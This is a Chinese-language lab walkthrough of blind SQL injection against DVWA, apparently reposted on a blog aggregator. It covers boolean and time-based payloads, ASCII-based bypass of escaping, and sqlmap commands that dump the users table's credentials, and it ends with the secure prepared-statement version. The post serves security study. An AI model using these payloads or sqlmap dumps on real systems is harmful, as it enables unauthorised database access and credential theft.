网络安全 DVWA通关指南 DVWA SQL Injection (Blind SQL盲注)

news2024/9/28 0:49:08

DVWA SQL Injection (Blind)


文章目录

  • DVWA SQL Injection (Blind)
  • Low
    • 布尔盲注
    • 时间盲注
    • sqlmap
  • Medium
  • High
  • Impossible


参考文献

  • WEB 安全靶场通关指南

Low

0、分析网页源代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Get input
	$id = $_GET[ 'id' ];

	// Check database
	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

	// Get results
	$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
	if( $num > 0 ) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
    
    
    
    
    
<?php

// 检查是否点击了提交按钮(例如,表单提交)
if( isset( $_GET[ 'Submit' ] ) ) {

    // 获取用户通过GET方式传递的ID值
    $id = $_GET[ 'id' ];

    // 创建SQL查询语句:根据$user_id查询users表中的first_name和last_name字段
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

    // 执行SQL查询(假设$___mysqli_ston是全局的数据库连接对象)
    // 使用@字符抑制可能出现的MySQL错误信息
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid );

    // 获取查询结果中记录的数量
    $num = @mysqli_num_rows( $result );

    // 判断查询结果中是否存在记录
    if( $num > 0 ) {
        // 如果查询到至少一条记录,则输出反馈信息表示用户ID存在于数据库中
        $html .= '<pre>User ID exists in the database.</pre>';
    }
    else {
        // 若未查询到任何记录,则发送HTTP 404状态码(页面未找到)
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // 同时输出反馈信息表示用户ID在数据库中不存在
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }

    // 关闭数据库连接
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
// 从URL参数中获取一个id,然后查询数据库中是否存在对应这个id的用户。如果存在,它会在页面上显示"User ID exists in the database.";如果不存在,则发送HTTP 404状态码并显示"User ID is MISSING from the database."。

网页不会直接返回数据,而是返回特定信息。比如输入1,页面返回“User ID exists in the database.”,查询内容没有回显。

image-20240508105954105

布尔盲注

布尔盲注:通过构造SQL查询使结果影响网页响应(如页面内容变化),从而通过真/假判断逐位推测数据库信息。

1、判断注入类型

注入以下语句,根据回显信息查询成功

1' and 1=1#

image-20240508110618261

注入以下语句,根据回显信息查询失败。由此,判断此为字符型注入,并且需要单引号闭合。

1' and 1=2#

image-20240508111005482

2、获取版本号

首先探测版本号的长度,使用substr函数提取返回的版本号字符串,用length函数获得版本号字符串的长度,判断与猜测长度"1"是否相等。返回查询不存在,说明版本号字符串长度不为猜测长度"1"。

1' and length(substr((select version()),1)) = 1 #

// VERSION()函数以字符串形式返回 MySQL 数据库的当前版本。
// length() 函数用于获取字符串的长度
// substr( string, start, length) 函数用于截取字符串 string,start 为起始位置,length 为长度。

image-20240508111726299

迭代查询语句,最后在猜测长度"6"返回查询存在,说明版本号字符串长度为6

1' and length(substr((select version()),1)) = 6 #

image-20240508112420486

接下来获取版本号字符串的内容,MySql 的版本号由三个数字部分和可选的后缀组成,用点(“.”)分隔各个部分,形如 5.7.23 。猜测第一个数字为’5’,注入以下语句,返回查询结果存在,说明第一个字符为’5’。

1' and substr((select version()),1,1) = '5'#

image-20240508170141095

通过采用穷举的方法,逐步尝试输入0 ~ 9的数字以及"."符号,来进行SQL盲注攻击。在这一过程中,每一次注入测试都是为了识别能够成功执行的SQL查询部分。最终,将得到的字符片段拼接起来,确定了MySQL数据库的版本号为“5.7.26”。

1' and substr((select version()),2,1) = '.'#
1' and substr((select version()),3,1) = '7'#
1' and substr((select version()),4,1) = '.'#
1' and substr((select version()),5,1) = '2'#
1' and substr((select version()),6,1) = '6'#

时间盲注

时间盲注:利用数据库延时函数(如SLEEP),根据响应时间长短推断SQL查询真伪,逐步获取数据库内容。

1、判断注入类型

注入以下语句,服务器响应时间很短,不足3秒,说明sleep()函数没有执行。

1 and sleep(3) #
// SLEEP()函数是一个用于控制程序流程的函数,它能够让当前的SQL语句执行暂停一定的时间后再继续。

image-20240508174027495

注入以下语句,服务器响应时间达到3秒,说明sleep()函数执行,判断注入类型为字符型盲注。

1' and sleep(3) #

image-20240508173801671

2、获取版本号

注入以下语句,猜测版本号字符串的长度为1,服务器响应很快,说明sleep()函数没有执行。

1' and if(length(substr((select version()), 1)) = 1, sleep(3), 1)#
// if(expr1,expr2,expr3) 语句,如果 expr1 的结果是 True,则返回 expr2,否则返回 expr3。

依次测试到6时,可以感觉到服务器明显延迟,抓包发现响应时间大于3秒,说明版本号字符串长度为6。

1' and if(length(substr((select version()), 1)) = 6, sleep(3), 1)#

image-20240509091945541

接下来获取版本号字符串的内容,MySql 的版本号由三个数字部分和可选的后缀组成,用点(“.”)分隔各个部分,形如 5.7.23 。猜测第一个数字为’5’,注入以下语句,服务器响应时间大于三秒,说明第一个字符为’5’。

1' and if(substr((select version()), 1, 1) = '5', sleep(3), 1)#

通过采用穷举的方法,逐步尝试输入0 ~ 9的数字以及"."符号,来进行SQL盲注攻击。在这一过程中,每一次注入测试都是为了识别能够成功执行的SQL查询部分。最终,将服务器有大于 3 秒的延迟的字符片段拼接起来,确定了MySQL数据库的版本号为“5.7.26”。

1' and if(substr((select version()), 2, 1) = '.', sleep(3), 1)#
1' and if(substr((select version()), 3, 1) = '7', sleep(3), 1)#
1' and if(substr((select version()), 4, 1) = '.', sleep(3), 1)#
1' and if(substr((select version()), 5, 1) = '2', sleep(3), 1)#
1' and if(substr((select version()), 6, 1) = '6', sleep(3), 1)#

sqlmap

1、判断注入点

用sqlmap工具进行自动化注入,首先判断注入点,获取cookie值,拼接语句。爆破数据库名。

sqlmap -u "http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=psuncupdhgq2rj4lkp7jp1s1h3; security=low" --batch --dbs

image-20240509092715089

得到数据库名后,选择dvwa数据库,爆破dvwa数据库下的表名。

sqlmap -u "http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=psuncupdhgq2rj4lkp7jp1s1h3; security=low" --batch -D dvwa --tables

image-20240509093153249

选择users数据表,查看users数据表有哪些字段

sqlmap -u "http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=psuncupdhgq2rj4lkp7jp1s1h3; security=low" --batch -D dvwa -T users --columns

image-20240509093314608

选择users数据表下的user、password字段

sqlmap -u "http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=psuncupdhgq2rj4lkp7jp1s1h3; security=low" --batch -D dvwa -T users -C user,password --dump

image-20240509093507168

Medium

0、分析网页源代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$id = $_POST[ 'id' ];
    //POST方式提交数据
	$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    //使用mysqli_real_escape_string()函数防范SQL注入

	// Check database
	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

	// Get results
	$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
	if( $num > 0 ) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

	//mysql_close();
}

?>

将DVWA Security调整到Medium级别,发现原本提交数据的文本框变成了下拉列表,需要使用Burp Suite抓包修改提交数据。同时,源代码中使用mysqli_real_escape_string()函数防范SQL注入,mysqli_real_escape_string()函数会转义字符串中的特殊字符,如 \x00、\n、\r、\、'、" 和 \x1a。

image-20240509094258008

image-20240509094324275

虽然单引号在Medium级别中被转义,但我们可以使用ASCII码值来代替原来单引号括起来的字符。ascii() 函数可以将字符转换成 ASCII码值,然后我们同样把版本号的各个字符提取出来,然后和 0 ~ 9 和 “.” 11 个字符的 ASCII码值作比较。例如注入如下内容,可以测试出版本号第一个字符为 “5”。

1 and ascii(substr((select version()), 1, 1)) = 53#

image-20240509101517241

0 ~ 9 和 “.” 11 个字符的 ASCII码值
. --> 46
0 --> 48
1 --> 49
2 --> 50
3 --> 51
4 --> 52
5 --> 53
6 --> 54
7 --> 55
8 --> 56
9 --> 57

时间盲注也是需要加上ascii() 函数,用ascii码值进行判断。

1 and if(ascii(substr((select version()), 1, 1)) = 53, sleep(3), 1)#

image-20240509102055721

布尔盲注代码

1 and length(substr((version()), 1)) = 6#
1 and ascii(substr((select version()), 1, 1)) = 53#
1 and ascii(substr((select version()), 2, 1)) = 46#
1 and ascii(substr((select version()), 3, 1)) = 55#
1 and ascii(substr((select version()), 4, 1)) = 46#
1 and ascii(substr((select version()), 5, 1)) = 50#
1 and ascii(substr((select version()), 6, 1)) = 54#

时间盲注代码

1 and if(length(substr((version()), 1)) = 6, sleep(3), 1)#
1 and if(ascii(substr((select version()), 1, 1)) = 53, sleep(3), 1)#
1 and if(ascii(substr((select version()), 2, 1)) = 46, sleep(3), 1)#
1 and if(ascii(substr((select version()), 3, 1)) = 55, sleep(3), 1)#
1 and if(ascii(substr((select version()), 4, 1)) = 46, sleep(3), 1)#
1 and if(ascii(substr((select version()), 5, 1)) = 50, sleep(3), 1)#
1 and if(ascii(substr((select version()), 6, 1)) = 54, sleep(3), 1)#

High

0、分析网页源代码

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
	// Get input
	$id = $_COOKIE[ 'id' ];

	// Check database
	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

	// Get results
	$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
	if( $num > 0 ) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// Might sleep a random amount
		if( rand( 0, 5 ) == 3 ) {
			sleep( rand( 2, 4 ) );
		}

		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
//代码通过LIMIT 1限制SQL查询结果,使用Cookie传参,并在查询无结果时执行sleep(),以此来混淆时间盲注判断,提高了SQL注入攻击门槛

由于查询无结果时,服务器会等待一段时间,混淆时间盲注判断,所以我们使用布尔盲注。尽管源代码中使用 LIMIT 1语句限制查询结果,但可以通过’#'注释掉,没有影响。与Low级别的布尔盲注攻击方法一致。

SqlMap使用

1、在网页提交一个参数,使用Burp Suite抓包,将抓包内容保存在一个.txt文本(1.txt)。抓包内容如下:

POST /vulnerabilities/sqli_blind/cookie-input.php HTTP/1.1
Host: dvwa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://dvwa
Connection: close
Referer: http://dvwa/vulnerabilities/sqli_blind/cookie-input.php
Cookie: id=1; PHPSESSID=r25rluk5p6u15do5hvba9airl1; security=high
Upgrade-Insecure-Requests: 1

id=1&Submit=Submit

在SqlMap中,使用如下语句,探测出Apache、PHP、MySQL版本号。

sqlmap -r "文件地址" --second-url "回显页面URL" --batch
sqlmap -r "C:\1.txt" --second-url "http://dvwa/vulnerabilities/sqli_blind/" --batch

image-20240509175037711

盲注有点慢,反而对猜测的过程有更直观的认识了。

sqlmap -r "C:\Users\yuexuan\Desktop\1.txt" --second-url "http://dvwa/vulnerabilities/sqli_blind/" --batch --dbs

image-20240509175153935

sqlmap -r "C:\Users\yuexuan\Desktop\1.txt" --second-url "http://dvwa/vulnerabilities/sqli_blind/" --batch -D dvwa --tables

image-20240509175349013

sqlmap -r "C:\Users\yuexuan\Desktop\1.txt" --second-url "http://dvwa/vulnerabilities/sqli_blind/" --batch -D dvwa -T users --columns

image-20240509175850523

sqlmap -r "C:\Users\yuexuan\Desktop\1.txt" --second-url "http://dvwa/vulnerabilities/sqli_blind/" --batch -D dvwa -T users -C user,password --dump

Impossible

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$id = $_GET[ 'id' ];

	// Was a number entered?
	if(is_numeric( $id )) {
		// Check the database
		$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
		$data->bindParam( ':id', $id, PDO::PARAM_INT );
		$data->execute();

		// Get results
		if( $data->rowCount() == 1 ) {
			// Feedback for end user
			$html .= '<pre>User ID exists in the database.</pre>';
		}
		else {
			// User wasn't found, so the page wasn't!
			header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

			// Feedback for end user
			$html .= '<pre>User ID is MISSING from the database.</pre>';
		}
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2137379.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于spring boot的车辆故障综合服务平台设计与实现----附源码 73314

摘 要 近年来&#xff0c;随着社会科技的不断发展&#xff0c;人们的生活方方面面进入了信息化时代。计算机的普及&#xff0c;使得我们的生活更加丰富多彩。本论文基于Spring Boot框架&#xff0c;设计并实现了一个车辆故障综合服务平台&#xff0c;旨在提供便捷、高效的汽车…

c++类模板为什么不能编译到动态库中来使用

在使用c的时候&#xff0c;我们习惯于将类的定义声明在头文件中&#xff0c;即.h文件&#xff1b;将类函数的实现定义在源文件中&#xff0c;即.cpp文件。如果我们要提供的是一个动态库&#xff0c;那么这种方式更常用&#xff0c;使用动态库的时候&#xff0c;包含头文件&…

如何注册Liberty大学并获取Perplexity Pro

俗称白嫖 Perplexity Pro 会员 如何注册Liberty大学并获取Perplexity Pro 1. 访问官网 首先&#xff0c;进入Liberty大学官网 https://www.liberty.edu&#xff0c;点击“Apply”按钮。 2. 选择课程 选择“Online”课程&#xff0c;选择“Certificate”&#xff0c;然后随便…

深入理解Docke工作原理:UnionFS文件系统详解

在容器技术的世界中&#xff0c;文件系统的设计和实现是其关键组成部分&#xff0c;影响着镜像的构建效率、容器的启动速度以及资源的利用率。**UnionFS&#xff08;联合文件系统&#xff09;**作为Docker的核心文件系统技术&#xff0c;通过其独特的分层结构和写时复制&#x…

5 - ZYNQ SDK学习记录(2)

文章目录 1 Vivado工程基本设计2 Vivado工程位置不变2.1 修改设计1 - 增加PS侧QSPI外设2.2 修改设计2 - 增加PL侧AXI GPIO外设2.3 总结 3 Vivado工程位置变动3.1 先修改BD后打开SDK3.2 先打开SDK后修改BD3.3 总结 1 Vivado工程基本设计 Step 1&#xff1a; Vivado版本Vivado …

【观影聊数学】聊聊电影《孤注一掷》中的数学逻辑

反电诈题材影片《孤注一掷》取材于真实案例&#xff0c;揭秘了境外电信网络诈骗黑色产业链的骇人内幕。境外诈骗集团往往以高薪招聘为诱饵&#xff0c;吸引有发财梦的人去境外淘金&#xff0c;一旦人们走出国门&#xff0c;跳入犯罪分子设下的陷阱里&#xff0c;等待他们的将是…

【python爬虫】之scrapy框架介绍

一.什么是Scrapy&#xff1f; Scrapy是一个为了爬取网站数据&#xff0c;提取结构性数据而编写的应用框架&#xff0c;非常出名&#xff0c;非常强悍。所谓的框架就是一个已经被集成了各种功能&#xff08;高性能异步下载&#xff0c;队列&#xff0c;分布式&#xff0c;解析&a…

SpringBoot开发——使用@Slf4j注解实现日志输出

文章目录 1、Lombok简介2、SLF4J简介3、实现步骤3.1 创建SpringBoot项目3.2 添加依赖3.3 使用 Slf4j 注解3.4 输出日志信息 4、结论 在现代Java开发中&#xff0c;日志记录是至关重要的。它不仅帮助开发者调试代码&#xff0c;还便于监控系统运行状态和性能。 Lombok 和 SLF4J …

了解水凝胶纤维制造?自润滑纺丝来帮忙!高韧性纤维用途广!

大家好&#xff0c;今天我们来了解一篇水凝胶纤维文章——《Continuous Spinning of High‐Tough Hydrogel Fibers for Flexible Electronics by Using Regional Heterogeneous Polymerization》发表于《Advanced Science》。在柔性电子领域&#xff0c;水凝胶纤维因其独特的性…

检查一个复数C的实部a和虚部b是否都是有限数值即a和b都不是无限数值、空值cmath.isfinite(x)

【小白从小学Python、C、Java】 【考研初试复试毕业设计】 【Python基础AI数据分析】 检查一个复数C的实部a和虚部b 是否都是有限数值 即a和b都不是无限数值、空值 cmath.isfinite(x) [太阳]选择题 根据给定的Python代码&#xff0c;哪个选项是错误的&#xff1f; import cma…

适合小客厅使用的投影仪推荐:2024年当贝X5S小户型客厅的最佳选择

我们在买投影前都会先看看家里的环境、预算以及自己的需求去选择适合自己的家的那款&#xff1b;正好最近有朋友向我资讯&#xff1a;我家客厅面积不大&#xff0c;有没有适合的家用投影仪推荐啊&#xff1f;对于这种家庭使用环境不大的小客厅我们该如何挑选投影仪&#xff1f;…

人员抽烟AI检测算法在智慧安防领域的创新应用,助力监控智能化

随着人工智能技术的飞速发展&#xff0c;计算机视觉和深度学习算法在各个领域的应用日益广泛。其中&#xff0c;人员抽烟AI检测算法以其高效、精准的特点&#xff0c;成为公共场所、工厂、学校等场景中的得力助手。本文将介绍TSINGSEE青犀AI智能分析网关V4人员抽烟检测算法的基…

JavaScript高级——执行上下文栈

1、在全局代码执行前&#xff0c;JS引擎就会创建一个栈来存储管理所有的执行上下文对象 2、在全局执行上下文&#xff08;window&#xff09;确定后&#xff0c;将其添加到栈中&#xff08;压栈&#xff09; 3、在函数执行上下文创建后&#xff0c;将其添加到栈中&#xff08…

AI 驱动腾讯游戏智能 NPC,开启新纪元

AI 驱动腾讯游戏智能 NPC&#xff0c;开启新纪元 前言AI 驱动腾讯智能 NPC 前言 曾经&#xff0c;游戏 NPC 往往只是按照预设脚本进行简单互动&#xff0c;缺乏深度和灵活性。然而&#xff0c;如今在 AI 的赋能下&#xff0c;NPC 开始展现出前所未有的智能与活力。它们能够进行…

【springboot】父子工程项目搭建

父工程创建 1.新建一个spring项目 2.选择合适的springboot版本&#xff0c;点击【完成】&#xff0c;即创建父工程完毕 3.删除父工程中无用文件&#xff1a;src 创建子工程模块 1.右键项目名->新建&#xff08;news&#xff09;->模块&#xff08;Module&#xff09;…

web知识

sql注入的万能密码:1’ or true#如果页面没有什么东西可见&#xff0c;首先可以用diresearch看看有没有什么隐藏的目录&#xff0c;或者检查源代码&#xff0c;如果这些都没成功可以用 dirsearch如果没有找到东西&#xff0c;可能需要调低线程 dirsearch.py -u url -e * --ti…

【数据结构与算法】巧用位运算

【数据结构与算法】巧用位运算 文章目录 【数据结构与算法】巧用位运算位运算的巧思用位运算来求集合公式用位移求集合公式二进制库函数 位扩展&#xff1a;基础例题例题LC190——用到左移和或运算异或运算法则经典例题&#xff1a;[LC136 唯一数](https://leetcode.cn/problem…

stm32单片机个人学习笔记3(GPIO输出)

前言 本篇文章属于stm32单片机&#xff08;以下简称单片机&#xff09;的学习笔记&#xff0c;来源于B站教学视频。下面是这位up主的视频链接。本文为个人学习笔记&#xff0c;只能做参考&#xff0c;细节方面建议观看视频&#xff0c;肯定受益匪浅。 STM32入门教程-2023版 细…

基于千问大模型Intel G8i开发主动问询导购助手

文章目录 1. 背景2.环境介绍2.1 硬件环境2.2 软件环境 3. 大模型环境部署3.1 准备硬件资源 3.2 大模型部署3.1 部署Docker3.2 部署Intel xFasterTransformer容器3.3 准备模型数据3.4 运行模型进行AI对话 4. 构建主动问询导购助手应用 1. 背景 北京又开始发放消费券啦&#xff…

整个场面要hold住-《分析模式》漫谈32

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集 “Analysis Patterns”的第一章有这么一句&#xff1a; It is important to be clear to them that I am not holding them up as gospel, and if they are not comfortable, I will …